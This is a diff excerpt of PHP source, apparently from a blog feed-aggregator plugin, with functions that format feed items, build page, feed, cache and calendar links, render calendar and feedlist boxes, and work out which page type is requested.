+			$itemtemplate=""; //just an empty template, we will print it with the footer - is this clever???
+		}elseif($resultparas['feedrequest']){
+			$itemtemplate_tmp = $resultparas['template_' . $resultparas['template']];//fixme later to template come from resultparas again, was before: $itemtemplate=$resultparas['in_loop_feedtemplate'];
+			$itemtemplate = PBALIB::split_template($itemtemplate_tmp, false, 'LOOP', 'body');
+		}else{
+			$itemtemplate_tmp = $resultparas['template_' . $resultparas['template']];
+			$itemtemplate = PBALIB::split_template($itemtemplate_tmp, false, 'LOOP', 'body');
+			if($resultparas['add_social_bookmarks']=="Y") $itemtemplate  = str_replace('###ITEM_BODY###' , '###ITEM_BODY###' . $resultparas['itemssbtemplate'], $itemtemplate);
+		}
+		//add some standard components to the template, if desired
+		if($resultparas["iscachable"]=="Y" && $resultparas["append_cache_link"]=="Y") $itemtemplate  = str_replace('###ITEM_BODY###' , '###ITEM_BODY###' . $resultparas['cachelinktemplate'], $itemtemplate);
+		if($resultparas["noextralink"]!="Y") $itemtemplate = str_replace('###ITEM_BODY###' , '###ITEM_BODY###' . $resultparas['extralinktemplate'], $itemtemplate);
+
+  	return $itemtemplate;
+	}
+
+  function formatitem(&$item, &$resultparas, $itemtemplate, $resultrownumber, $itemvaluesneeded=false){
+    //takes an item-site object row from dbquery and gives back
+    //in array field result the result, 
+    //and further in array field debug some debug output
+
+		//the row number in the list given out
+		$formatteditem['result_rownumber']=$resultrownumber + 1;
+		
+		$formatteditem['baseurl']=$resultparas['baseurl'];
+		
+		//read in the row ... for site
+		$formatteditem['site_id']=$item->siteid;
+		$formatteditem['site_name']=$item->site_name;
+		$formatteditem['site_feedurl']=$item->feed_url;
+		$formatteditem['site_nameoverridden']=$item->site_name_overriden;
+		$formatteditem['site_description']=$item->description;
+		$formatteditem['site_license']=$item->site_license;
+		$formatteditem['site_url']=$item->site_url;
+		$formatteditem['site_updatetime']=$item->site_update_time;
+		
+		//read in the row ... for item
+		$formatteditem['item_id']=$item->itemid;
+		$formatteditem['item_url']=$item->item_url;
+		$formatteditem['item_name']=$item->item_name;
+		$formatteditem['item_sitename']=$item->item_site_name;
+		$formatteditem['item_siteurl']=$item->item_site_url;
+		$formatteditem['item_license']=$item->item_license;
+		$formatteditem['item_timestamp']=$item->item_time;
+		$formatteditem['item_updatetimestamp']=$item->item_update_time;
+		$formatteditem['item_body']=$item->text_body;
+		
+		//we got the rows from database, 
+		//now do some quick processing with the raw row values 
+		//and get in this way some new values
+		
+		$formatteditem['cachehref']=PBALIB::makecachehref($resultparas, $formatteditem['item_id']);
+		
+		//make an item text as to be displayed as cache item
+		if($itemvaluesneeded['item_cachebody']){
+			$formatteditem['item_cachebody'] = BDPRSS2::codeQuotes($formatteditem['item_body']);
+			$formatteditem['item_cachebody'] = eregi_replace('&lt;' , '<', $formatteditem['item_cachebody']);
+			$formatteditem['item_cachebody'] = eregi_replace('&gt;' , '>', $formatteditem['item_cachebody']);
+		}
+
+		//process the item body
+		if($itemvaluesneeded['item_body'] || $itemvaluesneeded['item_cachebody'] || $itemvaluesneeded['item_feedbody'] || $itemvaluesneeded['item_description']){
+			$formatteditem['item_body']=BDPRSS2::remove_link_and_cache_links_from_item($formatteditem['item_body']);
+		}
+		//this seems to be for feed usage
+		if($itemvaluesneeded['item_description']){
+			$formatteditem['item_description'] = BDPRSS2::packageItemText($formatteditem['item_body'], $resultparas['maxbodylength'], $resultparas['maxwordlength'], false, $resultparas['formattedtagset']);
+		}
+		if($itemvaluesneeded['item_feedbody']){
+			$formatteditem['item_feedbody']= $formatteditem['item_body'];
+		}
+		$formatteditem['item_datefeed']= date('r', $formatteditem['item_timestamp']);
+		if($formatteditem['result_rownumber'] == 1) $formatteditem['firstitem_datefeed'] = $formatteditem['item_datefeed'];
+
+		//package item text for list description display
+		if($itemvaluesneeded['item_body']){
+			$formatteditem['item_body'] = BDPRSS2::packageItemText($formatteditem['item_body'], $resultparas['maxbodylength'], $resultparas['maxwordlength'], true, $resultparas['formattedtagset']);
+		}
+		//process item titles decode ": " separator in item titles -- may be buggy, needs to come from site details overridden and have some testing
+		if($formatteditem['site_nameoverridden'] != 'Y'){
+		  $itemtitlearray=explode(': ', $formatteditem['item_name'], 2);
+		  if(strlen($itemtitlearray[1])>0) {
+		    $formatteditem['item_name'] = $itemtitlearray[1];
+		    $formatteditem['site_name'] = $itemtitlearray[0];
+		  }else{
+		    //site name not overridden, but no : in item
+		    $formatteditem['site_name']=$formatteditem['item_sitename'];
+		  }
+		} else {
+			//site_name overridden
+			$formatteditem['site_name'] = $formatteditem['site_name']; //bogus, no need for this
+		}
+
+		if(strlen($formatteditem['item_siteurl'])>0) $formatteditem['site_url'] = $formatteditem['item_siteurl'];
+
+		$formatteditem['site_name'] =  BDPRSS2::packageItemText($formatteditem['site_name']);
+		$formatteditem['item_name'] =  BDPRSS2::packageItemText($formatteditem['item_name']);
+		
+		//generate dates in some configured and standard formats
+		if(strlen($resultparas["itemdateformat"]."") >0){
+			$formatteditem['item_datetime'] = date($resultparas["itemdateformat"]."", ($formatteditem['item_timestamp'])+(0*3600));
+		} else {
+			$formatteditem['item_datetime'] = PBALIB::gettheage($formatteditem['item_timestamp'], $resultparas['ageunit'], $resultparas['ageunitsstring']);
+		}
+		
+		if(strlen($resultparas["itemdateformat"]."") >0){
+			$formatteditem['item_updatedatetime'] = date($resultparas["itemdateformat"]."", ($formatteditem['item_updatetimestamp'])+(0*3600));
+		} else {
+			$formatteditem['item_updatedatetime'] = PBALIB::gettheage($formatteditem['item_updatetimestamp'], $resultparas['ageunit'], $resultparas['ageunitsstring']);
+		}
+		$formatteditem['item_updatedate']= date('r', $formatteditem['item_updatetimestamp']);
+		
+		//unset not needed values, to be done later
+		unset ($formatteditem['item_sitename']);
+		unset ($formatteditem['item_siteurl']);
+		unset ($formatteditem['site_nameoverridden']);
+		
+		//build up variables for the template
+		$result=PBALIB::template_replacements($itemtemplate, &$formatteditem);
+		$formatteditem['result']=$result;
+//		foreach($formatteditem as $key => $value){
+//		  $needle[$key]="###" . strtoupper($key) . "###";
+//			echo $needle[$key] . "\n"; //take this to find out with variables the engine understands
+//		  $replace[$key]=$value;
+//		}
+//		$formatteditem['result']=str_replace($needle, $replace, $itemtemplate);
+		return $formatteditem;
+  }
+
+//functions to generate href values
+	function makefeedlisthref(&$resultparas){
+		if($resultparas['short_cache_link']){
+    	$feedlisthref = $resultparas['baseurl'] . 'feedlist/';
+    }else{
+			$joiner='?';
+			if(strstr($resultparas['baseurl'], '?')) $joiner = '&';
+    	$feedlisthref = $resultparas['baseurl'] . $joiner . 'feedlist';
+    }
+		return $feedlisthref;
+	}
+
+
+	function makefeedopmlhref(&$resultparas){
+    if($resultparas['short_cache_link']){
+    	$feedopmlhref = $resultparas['baseurl'] . 'opml/';
+    }else{
+			$joiner='?';
+			if(strstr($resultparas['baseurl'], '?')) $joiner = '&';
+    	$feedopmlhref = $resultparas['baseurl'] . $joiner . 'opml';
+    }
+		return $feedopmlhref;
+	}
+
+	function makesearchactionhref(&$resultparas){
+		if(strstr($resultparas['search_page_baseurl'],'?')) {
+			$searchactionhref=$resultparas['search_page_baseurl'];
+		}else{
+			$searchactionhref=$resultparas['search_page_baseurl'] . 'index.php';
+		}
+		return $searchactionhref;
+	}
+
+	function makehiddenformvalues(&$resultparas){
+		$hiddenformvalues = "";
+		if(preg_match('/\?(.+)$/',$resultparas['search_page_baseurl'],$baseurlquerystring)) {
+			parse_str($baseurlquerystring[1], $baseurlgetarray);
+			//print_r($baseurlgetarray);
+			foreach($baseurlgetarray as $key => $value){
+				$hiddenformvalues .= '<input type="hidden" name="'.$key.'" value="'.$value.'" />';
+			}
+		}
+		return $hiddenformvalues;
+	}
+
+	function makecachehref(&$resultparas, $itemid){
+		//not changing resultparas, just passing by reference to gain speed
+		$itemid=abs(intval($itemid));
+		$baseurl = $resultparas['baseurl'];
+		if($resultparas['cacheviewpage'] != "" ) $baseurl = $resultparas['cacheviewpage'];
+		
+		if($resultparas['short_cache_link']){
+			$cachehref = $baseurl . $itemid . '/';
+		}else{
+			$joiner='?';
+			if(strstr($baseurl, '?')) $joiner = '&';
+			$cachehref = $baseurl . $joiner . 'cacheid=' . $itemid;
+		}
+		return $cachehref;
+	}
+
+
+	function makefeedhref(&$resultparas){
+		//not changing resultparas, just passing by reference to gain speed
+		//calculate the link to the feedalized version of this page
+	  if(!$resultparas['feedrequest']){
+      if($resultparas['feedpage']!="") {
+        //use this url replaced by feedurlbase and strip page info
+        $feedhref=$resultparas['feedpage'] . preg_replace("/[&\?]?tickerpage[\/=][0-9]+\/?/s", '', $resultparas['srequri']);
+      }else{
+        $feedhref= $resultparas['baseurl'] . preg_replace("/[&\?]?tickerpage[\/=][0-9]+\/?/s", '', $resultparas['srequri']);
+        if(strstr($feedhref,'?')) {
+          $feedhref .= '&feed';
+        } else {
+          if($resultparas['short_cache_link']){
+            $feedhrefworkaround="";
+            if($resultparas['searchphrase'] == "" && $resultparas['archivdate'] == "") $feedhrefworkaround="ticker-";
+            $feedhref .= $feedhrefworkaround . 'feed/';
+          }else{
+            $feedhref .= '?feed';
+          }
+        }
+      }
+    } else {
+      //this is a feedrequest, so let us give out a link to ourself
+      //wrong idea - this could also be a feedlist?
+      $feedhref = $resultparas['baseurl'] . $resultparas['srequri'];
+      //to do: and calculate a nice html link for use in feed header
+    }
+	return $feedhref;
+	}
+
+	function makehtmlhref(&$resultparas){
+		//used to calculate the href value to pba html page when displaying a feed
+		if($resultparas['searchphrase'] == "" && $resultparas['archivdate'] == ""){
+      $htmlhref = $resultparas['htmlpage'];
+    } else {
+      if($resultparas['short_cache_link']){
+      $htmlhref = $resultparas['htmlpage'] . preg_replace("/\/(ticker-)?feed\//s", '/',$resultparas['srequri']);
+      }else{
+        $htmlhref = $resultparas['htmlpage'] . preg_replace("/[&\?]feed/s", '', str_replace('?feed&' , '&feed?', $resultparas['srequri']));
+      }
+    }
+		return $htmlhref;
+	}
+
+	function makelastpagehref($lastpage, &$resultparas){
+		//resultparas should not be changed, just overloaded by reference to gain speed in processing
+		if($lastpage == 1) {
+			if($resultparas['specialpage1url'] 
+				&& $resultparas['specialpage1url'] != 'N'
+				&& $resultparas['searchphrase']== ""
+				&& $resultparas['archivdate']== ""
+			){
+				$lastpagehref = $resultparas['specialpage1url'];
+			}else{
+    		$lastpagehref= $resultparas['baseurl'] . preg_replace("/[&\?]?tickerpage[\/=][0-9]+\/?/s", '', $resultparas['srequri']);
+    	}
+    } else {
+    	if(strstr($resultparas['srequri'],"tickerpage/".$resultparas['tickerpage']."/")) {
+    		$lastpagehref=$resultparas['baseurl'] . str_replace("tickerpage/".$resultparas['tickerpage']."/","tickerpage/".$lastpage."/",$resultparas['srequri']);
+    	}else{
+    		$lastpagehref=$resultparas['baseurl'] . str_replace("tickerpage=".$resultparas['tickerpage'],"tickerpage=".$lastpage,$resultparas['srequri']);
+    	}
+    }
+		return $lastpagehref;
+	}
+
+	function makenextpagehref($nextpage, &$resultparas){
+		//resultparas should not be changed, just overloaded by reference to gain speed in processing
+		if($nextpage == 2){ 
+			//add the page to the link
+			//we have to decide, if we add a short uri rewritten page link or a query style link, on start page, there s no way to determine this from URI, so we need to get it from some config value
+			if(strstr($resultparas['srequri'],'?')){
+				if($resultparas['short_cache_link']){
+					$slash ="/";
+					if(strstr($resultparas['srequri'],'/?')) $slash ="";
+					$nextpagehref= $resultparas['baseurl'] . str_replace('?', $slash . 'tickerpage/' . $nextpage . '?', $resultparas['srequri']);
+				} else {
+					$nextpagehref= $resultparas['baseurl'] . $resultparas['srequri'] . '&tickerpage=' . $nextpage;
+				}
+			}else{ 
+				//no ? in url
+				if($resultparas['short_cache_link']){
+					$slash ="";
+					if(substr($resultparas['baseurl'] . $resultparas['srequri'], strlen($resultparas['baseurl'] . $resultparas['srequri']) - 1) != '/') $slash ="/";
+					$nextpagehref= $resultparas['baseurl'] . $resultparas['srequri'] . $slash . 'tickerpage/' . $nextpage . '/';
+				} else {
+					$joiner='?';
+					if(strstr($resultparas['baseurl'], '?')) $joiner = '&';
+					$nextpagehref= $resultparas['baseurl'] . $resultparas['srequri'] . $joiner . 'tickerpage=' . $nextpage;
+				}
+			}
+		}else{ 
+			// nextpage > 2 - replace existing page identifier
+			//echo "srequri: " . $resultparas['srequri'] . "<br>";
+			if(strstr($resultparas['srequri'],'tickerpage=')){
+		  	$nextpagehref= $resultparas['baseurl'] . str_replace('tickerpage=' . $resultparas['tickerpage'], 'tickerpage=' . $nextpage, $resultparas['srequri']);
+		  }else{
+		  	$nextpagehref= $resultparas['baseurl'] . str_replace('tickerpage/' . $resultparas['tickerpage'] . '/', 'tickerpage/' . $nextpage . '/', $resultparas['srequri']);
+		  }
+		}
+		return $nextpagehref;
+	}
+
+	function makedatepagehref($thedate="", &$resultparas, $regardkalenderlinkpart=false, $forcekalender=false){
+		//check input values
+		if ($thedate!="" && !ereg("[0-9][0-9][0-9][0-9]-[0-1][0-9]-[0-3][0-9]", $thedate)) $thedate = "";
+		if($thedate=="") $forcekalender = true;
+
+		//depends on $resultparas['short_cache_link']
+		$kalender="";
+		$datepart="";
+		if($resultparas['short_cache_link']){
+			if($forcekalender || ($regardkalenderlinkpart && (substr($resultparas['srequri'], 0, 8) == "calendar" || substr($resultparas['srequri'], 0, 8) == "kalender"))) $kalender="calendar/";
+			if ($thedate!="") $datepart = $thedate . '/';
+			$datepagehref = $resultparas['baseurl'] . $kalender . $datepart;
+		} else {
+			if($forcekalender || ($regardkalenderlinkpart && preg_match('/[&\?][kc]alend[ae]r/',$resultparas['srequri']))) $kalender="calendar";
+			if ($thedate!="") {
+				$datepart = 'itemdate=' . $thedate;
+				if($kalender != "") $kalender = "&" . $kalender;
+			}
+			$joiner='?';
+			if(strstr($resultparas['baseurl'], '?')) $joiner = '&';
+			$datepagehref= $resultparas['baseurl'] . $joiner . $datepart . $kalender;
+		}
+		return $datepagehref;
+	}
+
+//functions to generate boxes with content
+	function formatted_feedlist(&$resultparas, $dateformat="", $template=false){
+		global $bdprss_db;
+		
+		//$liststyle shall be one of sidebar, feedlist, opml
+		$maxage=$resultparas['feedlistmaxage'];  //to be done in parameter definition, 0 means filter disabled, age in seconds
+		$list_id=$resultparas['listid'];
+		
+		$split_template=PBALIB::split_template($template, '###INSIDELOOP###');
+
+		if($resultparas['pba_feedlistquery_cache_time'] > 0) {
+			$key=array($maxage, $list_id);
+			$feedlistcache=@PBALIB::pba_cache($key, $dummy, 'get', 'feedlist', 'mixed', $resultparas['pba_feedlistquery_cache_time'], 'OK');
+			if($feedlistcache[1]) {
+				if($resultparas["profiler_enabled"]) $pbaout['profiler']['Got feedlist cache']=microtime();
+				$result = $feedlistcache[0];
+			}
+		}
+		if(!$feedlistcache[1]){
+			if($resultparas["profiler_enabled"]) $pbaout['profiler']['Start query for feedlist']=microtime();
+			$result = $bdprss_db->getsiteswithupdatetime($maxage, $list_id);
+			if($resultparas['pba_feedlistquery_cache_time'] > 0) {
+				$pba_cachereturn=PBALIB::pba_cache($feedlistcache[0], $result, 'write', 'feedlist', 'mixed', 0, 'OK');
+			}
+		}
+		foreach($result as $r) {
+			//$feedlist_loop['feedlist_loop_site_id'] = $r->{$bdprss_db->cidentifier};
+			$feedlist_loop['feedlist_loop_feedurl'] = $r->{$bdprss_db->cfeedurl};
+			$feedlist_loop['feedlist_loop_siteurl'] = $r->{$bdprss_db->csiteurl};
+			$feedlist_loop['feedlist_loop_site'] = $r->{$bdprss_db->csitename};
+			$updated = $r->lastupdate;
+			if(strlen($dateformat . "") >0){
+				$feedlist_loop['feedlist_loop_date']=date($dateformat, $updated);
+			}else{
+				$feedlist_loop['feedlist_loop_date']=PBALIB::gettheage($updated, $resultparas['ageunit'], $resultparas['ageunitsstring']);
+			}
+			//build up variables for the inner template - here is potential for optimization - resul from test: optimization potential minimal - not measurable
+			//we shall analyze the template above to find out, which variables we need in inner loop
+			foreach($feedlist_loop as $key => $value){
+			  $needle[$key]="###" . strtoupper($key) . "###";
+			  $replace[$key]=$value;
+			}
+			$feedlist['insideloop'] .=str_replace($needle, $replace, $split_template['inloop']);
+		}
+		//now the outer template
+		
+		$feedlist['result'] =str_replace('###INSIDELOOP###', $feedlist['insideloop'], $split_template['aroundloop']);
+		//print_r($feedlist);
+		return $feedlist;
+	}
+
+	function formatkalender(&$resultparas, $thedate="", &$pbaout, $longtype="kalenderlist_box", $template=""){
+		global $bdprss_db;
+
+		if($resultparas["profiler_enabled"]) { $type="list"; if($longtype == 'kalender_box') $type="box"; }
+		if($resultparas['pba_kalenderquery_cache_time'] > 0) {
+			$key=array(substr($resultparas['archivdate'],0,7),$resultparas['listid']);
+			$kalendercache=@PBALIB::pba_cache($key, $dummy, 'get', 'kalender', 'mixed', $resultparas['pba_kalenderquery_cache_time'], 'OK');
+			if($kalendercache[1]) {
+				if($resultparas["profiler_enabled"]) $pbaout['profiler']['Got '. $type .' kalender cache']=microtime();
+				$kalenderdates = $kalendercache[0];
+			}
+		}
+		if(!$kalendercache[1]){
+			if($resultparas["profiler_enabled"]) $pbaout['profiler']['Start query for ' . $type . ' kalenderdates']=microtime();
+			$kalenderdates=$bdprss_db->getmonthlyarchivedates($resultparas['archivdate'],$resultparas['listid']);
+			if($resultparas['pba_kalenderquery_cache_time'] > 0) {
+				$pba_cachereturn=PBALIB::pba_cache($kalendercache[0], $kalenderdates, 'write', 'kalender', 'mixed', 0, 'OK');
+			}
+		}
+
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['Start to format ' . $type . ' kalender']=microtime();
+
+		//check input values
+		if (!ereg("[0-9][0-9][0-9][0-9]-[0-1][0-9]-[0-3][0-9]", $thedate)) $thedate = date('Y-m-d');
+		
+		//parameter for all kalender types
+		$dateformatinnormallinktext=$resultparas['kalendernormaldateformat'];
+		$kalendermonthslist=$resultparas['kalendermonthslist'];
+
+		//get template for basic calendar and loop through to find subtemplates for earlierlink and laterlink
+		if($longtype == 'kalenderlist_box'){
+			$lastlinktpl=PBALIB::split_template($template, '###KALENDER_LASTLINK###','EARLIERLINK');
+			$lastlinktemplate=$lastlinktpl['inloop'];
+			$nextlinktpl=PBALIB::split_template($lastlinktpl['aroundloop'], '###KALENDER_NEXTLINK###','LATERLINK');
+			$nextlinktemplate=$nextlinktpl['inloop'];
+			$split_template=PBALIB::split_template($nextlinktpl['aroundloop'], '###INSIDELOOP###');
+		}
+
+		//calculate some values from paras
+		$thetimestamp=mktime(0, 0, 0, substr($thedate, 5, 2), substr($thedate, 8, 2), substr($thedate, 0, 4));
+		$kalendermonths=explode(",", preg_replace('/\s/','',$kalendermonthslist));
+		$formattedkalender['kalenderdate']=$kalendermonths[(substr($thedate, 5, 2) - 1)] . ' ' . substr($thedate, 0, 4);
+
+		//value initialization
+		$formattedkalender['insideloop']="";
+
+		//format the body, if not box, else, we need the routine to check later, if a value for a date exists
+		foreach($kalenderdates as $k) {
+			if($k->type == 'last') {
+				$formattedkalender['kalender_lastlink'] = "";
+				if ($k->item_date != '0') {
+					$lasthref=PBALIB::makedatepagehref($k->item_date, $resultparas, true);
+					if($longtype == 'kalenderlist_box') $formattedkalender['kalender_lastlink'] = str_replace('###KALENDER_LASTHREF###',$lasthref, $lastlinktemplate);
+				}
+			} elseif($k->type == 'next'){
+				$formattedkalender['kalender_nextlink'] = "";
+				if ($k->item_date != '0') {
+					$nexthref=PBALIB::makedatepagehref($k->item_date, $resultparas, true);
+					if($longtype == 'kalenderlist_box') $formattedkalender['kalender_nextlink'] = str_replace('###KALENDER_NEXTHREF###',$nexthref,$nextlinktemplate);
+				}
+			}elseif($k->type == 'normal') {
+				$inkalenderloop[$k->item_date]['kalenderloop_href']=PBALIB::makedatepagehref($k->item_date, $resultparas);
+				$kalenderloop_timestamp=mktime(0, 0, 0, substr($k->item_date, 5, 2), substr($k->item_date, 8, 2), substr($k->item_date, 0, 4));
+				$inkalenderloop[$k->item_date]['kalenderloop_inlinkdate']=date($dateformatinnormallinktext,$kalenderloop_timestamp);
+				if($longtype=="kalenderlist_box"){
+					foreach($inkalenderloop[$k->item_date] as $key => $value){
+					  $needle[$key]="###" . strtoupper($key) . "###";
+					  $replace[$key]=$value;
+					}
+					$formattedkalender['insideloop'] .= str_replace($needle, $replace, $split_template['inloop']);
+				}
+			}
+		}
+
+		if($longtype=="kalenderlist_box"){
+			foreach($formattedkalender as $key => $value){
+			  $needle[$key]="###" . strtoupper($key) . "###";
+			  $replace[$key]=$value;
+			}
+			if($resultparas["debug"]) $formattedkalender['debug'] .= "\n<br>Debug: we understand the template keywords: " . PBALIB::get_r($needle); 
+			$formattedkalender['kalenderlist_box']= str_replace($needle, $replace, $split_template['aroundloop']);
+			$formattedkalender['result']=$formattedkalender['kalenderlist_box'];
+		}
+		if($longtype=="kalender_box"){
+			//get templates and other parameters for box calendar
+			$kalenderdaysofweeklist=$resultparas['kalenderboxdaysofweeklist'];
+			$kalenderdaysofweek=explode(",", preg_replace('/\s/','',$kalenderdaysofweeklist));
+			$kalendertablecaption=$resultparas['kalenderboxtablecaption'];
+			$formattedkalender['kalender_last']=$resultparas['kalender_last'];
+			$formattedkalender['kalender_next']=$resultparas['kalender_next'];
+
+			//calculating some special values
+			$firstsecondofthemonth=mktime(0, 0, 0, substr($thedate,5,2), 1, substr($thedate,0,4));
+			$weekdayoffirstsecondofthemonth=date('N', $firstsecondofthemonth);
+			$offsetdays=$weekdayoffirstsecondofthemonth-1;
+			$firstsecondofnextmonth=mktime(0, 0, 0, ( substr($thedate,5,2) +1 ), 1, substr($thedate,0,4));
+
+			$formattedkalender['kalender_box']="<table".$kalendertablecaption."><caption>" . $formattedkalender['kalenderdate'] . "</caption>\n";
+			$formattedkalender['kalender_box'].='	<thead><tr>';
+			foreach($kalenderdaysofweek as $dayofweeknumber => $dayofweek){
+				$formattedkalender['kalender_box'].= '<th abbr="'.$dayofweek.'" scope="col" title="'.$dayofweek.'">'.substr($dayofweek,0,1).'</th>';
+			}
+			$formattedkalender['kalender_box'].= '</tr></thead>' . "\n";
+			$formattedkalender['kalender_box'].='	<tfoot><tr>';
+			if($lasthref) {
+				$formattedkalender['kalender_box'].='<td abbr="'.$formattedkalender['kalender_last'].'" colspan="3" id="prev"><a href="'.$lasthref.'" title="'.$formattedkalender['kalender_last'].'">'.$formattedkalender['kalender_last'].'</a></td>';
+			} else {
+				$formattedkalender['kalender_box'].='<td colspan="3" id="prev">&nbsp;</td>';
+			}
+			$formattedkalender['kalender_box'].='<td>&nbsp;</td>';
+			if($nexthref) {
+				$formattedkalender['kalender_box'].='<td abbr="'.$formattedkalender['kalender_next'].'" colspan="3" id="next"><a href="'.$nexthref.'" title="'.$formattedkalender['kalender_next'].'">'.$formattedkalender['kalender_next'].'</a></td>';
+			} else {
+				$formattedkalender['kalender_box'].='<td colspan="3" id="next">&nbsp;</td>';
+			}
+			$formattedkalender['kalender_box'].='</tr></tfoot><tbody>' . "\n";
+
+			//loop through the rows
+			$startdate=date('Y-m-d',mktime(0, 0, 0, substr($thedate,5,2), (1 - $offsetdays), substr($thedate,0,4)));
+			while(mktime(0, 0, 0, substr($startdate,5,2), substr($startdate,8,2), substr($startdate,0,4)) < $firstsecondofnextmonth){
+				$formattedkalender['kalender_box'].='<tr>';
+				foreach($kalenderdaysofweek as $dayofweeknumber => $dayofweek){
+					$blank = "";
+					$daynumber=(substr($startdate,8,2)+0);
+					if($daynumber < 10) $blank = "&nbsp;";
+					if(isset($inkalenderloop[$startdate]['kalenderloop_href'])){
+						//there exists a link due to db entry, so we want to link it
+						$formattedkalender['kalender_box'].='<td>'.$blank.'<a title="'.$inkalenderloop[$startdate]['kalenderloop_inlinkdate'].'" href="'.$inkalenderloop[$startdate]['kalenderloop_href'].'">'. $daynumber . '</a></td>';
+					}elseif(substr($startdate,0,7) == substr($thedate,0,7)){
+						//startdate in current month
+						$formattedkalender['kalender_box'].='<td>'. $blank . $daynumber . '</td>';
+					}else{
+						$formattedkalender['kalender_box'].='<td>&nbsp;</td>';
+					}
+					$startdate=date('Y-m-d',mktime(0, 0, 0, substr($startdate,5,2), (substr($startdate,8,2) + 1), substr($startdate,0,4)));
+				}
+				$formattedkalender['kalender_box'].='</tr>';
+			}
+			$formattedkalender['kalender_box'].='</tbody></table>';
+			$formattedkalender['result']=str_replace('###KALENDERBOX###',$formattedkalender['kalender_box'], $template);
+		}
+		
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['End of format  ' . $type . ' kalender']=microtime();
+		return $formattedkalender;
+	}
+
+//helper functions
+
+		function analysepagetype(&$resultparas){
+		// we have pages with templates:
+		// 1. tickerpage - a tickerpage is a basic output list page
+		
+		if($resultparas['archivdate'] == "" 
+			&& $resultparas['searchphrase']== ""
+			&& $resultparas['feedrequest']==false
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& $resultparas['tickerpage']>1
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='tickerpage';
+				$pagetype['template']='ticker';
+		}
+
+		// 2. searchpage - almost same as tickerpage, but with search specifica
+		if($resultparas['archivdate'] == "" 
+			&& $resultparas['searchphrase']!= ""
+			&& $resultparas['feedrequest']==false
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& !$resultparas['displayonlybox']) {
+				$pagetype['pagetype']='searchpage';
+				$pagetype['template']='ticker';
+		}
+
+		// 3. datepage - almost same as tickerpage, but with datepage specifica
+		if($resultparas['archivdate'] != "" 
+			&& $resultparas['searchphrase']== ""
+			&& $resultparas['feedrequest']==false
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='datepage';
+				$pagetype['template']='ticker';
+		}
+
+		// 8. startpage - almost a tickerpage, but headers can be suppressed and a special uri can be assigned
+		if($resultparas['archivdate'] == "" 
+			&& $resultparas['searchphrase']== ""
+			&& $resultparas['feedrequest']==false
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& $resultparas['tickerpage']==1
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='startpage';
+				$pagetype['template']='ticker';
+		}
+		// these pagetypes above may use the same template with a preprocessor doing some modifications?
+
+		// 5. feedpage - a ticker- no search- no date - page with diffrent output preprocessing and diffrent template
+		if($resultparas['archivdate'] == "" 
+			&& $resultparas['searchphrase']== ""
+			&& $resultparas['feedrequest']==true
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='feedpage';
+				$pagetype['template']='feed';
+		}
+
+		// 5a. search feedpage - a feed ticker- with search - page 
+		if($resultparas['archivdate'] == "" 
+			&& $resultparas['searchphrase']!= ""
+			&& $resultparas['feedrequest']==true
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='feedsearchpage';
+				$pagetype['template']='feed';
+		}
+
+		// 5b. date feedpage - a feed ticker- with date - page 
+		if($resultparas['archivdate'] != "" 
+			&& $resultparas['searchphrase']== ""
+			&& $resultparas['feedrequest']==true
+			&& $resultparas['cacheid']==false
+			&& $resultparas['kalreq']==false
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='feeddatepage';
+				$pagetype['template']='feed';
+		}
+
+		// 7. cache page - a tickerpage with diffrent template and just one item requested
+		//these pages also use the main loop via search engine
+		//information which page was requested is in url, but limited by other config parameters
+		if($resultparas['archivdate'] == "" 
+			&& $resultparas['searchphrase']== ""
+			&& $resultparas['feedrequest']==false //maybe have a cache page delivered as feed?
+			&& $resultparas['cacheid']> 0
+			&& $resultparas["iscachable"]=="Y"
+			&& $resultparas['kalreq']==false
+			&& !$resultparas['displayonlybox'] ) {
+				$pagetype['pagetype']='cachepage';
+				$pagetype['template']='cache';
+		}
+
+		// 4. kalenderpage - a special page with no content but showing all our navigation and boxes 
+		if( $resultparas['searchphrase']== "" 
+			&& $resultparas['feedrequest']==false 
+			&& $resultparas['cacheid']==false 
+			&& $resultparas['kalreq']==true 
+			&& !$resultparas['displayonlybox']) { 
+				$pagetype['pagetype']='kalpage'; 
+				$pagetype['template']='kalender'; 
+		}
+
+		// 9. nopage - maybe just a box was called? - great we could save a lot of time, when we know, that we don't need to process a page template
+		if($resultparas['feedrequest']==false
+			&& $resultparas['displayonlybox'] // just a box
+			) {
+				$pagetype['pagetype']='nopage';
+				$pagetype['template']= $resultparas['displayonlybox']; 
+				// one of 'kalender_box', 'kalenderlist_box', 'search_box', 'feedlistsidebar_box', 'opml_box', 'feedlist_box', 'feedlistsidebar_box' 
+		}
+
+		//10. errorpage - probably nobody wants this page, but maybe our system is not ready or it is not understandable what the user wanted
+		if(!isset($pagetype['pagetype']) || !isset($pagetype['template'])
+			) {
+				$pagetype['pagetype']='errorpage';
+				$pagetype['template']='error';
+				$pagetype['error'].='This error never should happen. Sorry for this. Cannot determine page type or template';
+		}
+	return $pagetype;
+	}
+
+	function analyze_needed_elements($rawtemplate, $type=''){
+		//avaliable_boxes: 'search_box, kalender_box, kalenderlist_box, feedlist_box, sendfeedpermail_box'; //do we really need this?
+		preg_match_all('/###[0-9A-Z_]+'.$type.'###/', $rawtemplate, $elementname);
+		//$element['boxname']=$elementname;
+		foreach($elementname[0] as $key => $elementnameupper){
+			$element['result'][str_replace('#','',strtolower($elementnameupper))]=true;
+		}
+		if(!isset($element['result'])) $element['result'] = false;
+		return $element;
+	}
+
+	function makebox($boxtomake, &$resultparas, &$pbaout){
+		$boxtemplate = $resultparas['template_' . $boxtomake]; //Fix this later to be a copy of resultparas
